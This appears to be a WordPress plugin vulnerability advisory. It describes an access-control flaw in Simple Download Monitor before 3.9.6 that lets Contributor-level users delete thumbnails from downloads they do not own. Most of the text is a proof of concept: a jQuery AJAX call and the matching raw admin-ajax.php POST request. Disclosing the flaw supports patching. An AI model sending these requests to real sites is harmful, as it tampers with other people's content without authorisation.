WordPress Plugin Vulnerabilities

Simple Download Monitor < 3.9.6 - Arbitrary Thumbnails Removal

Description

The plugin allows users with a role as low as Contributor to remove thumbnails from downloads they do not own, even if they cannot normally edit the download.

Proof of Concept

jQuery.post(ajaxurl, {
action: "sdm_remove_thumbnail_image",
post_id_del: 613 // not owned by the user
})

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Connection: close
Cookie: [contrib+ not owning the download to remove the thumbnail from]

action=sdm_remove_thumbnail_image&post_id_del=613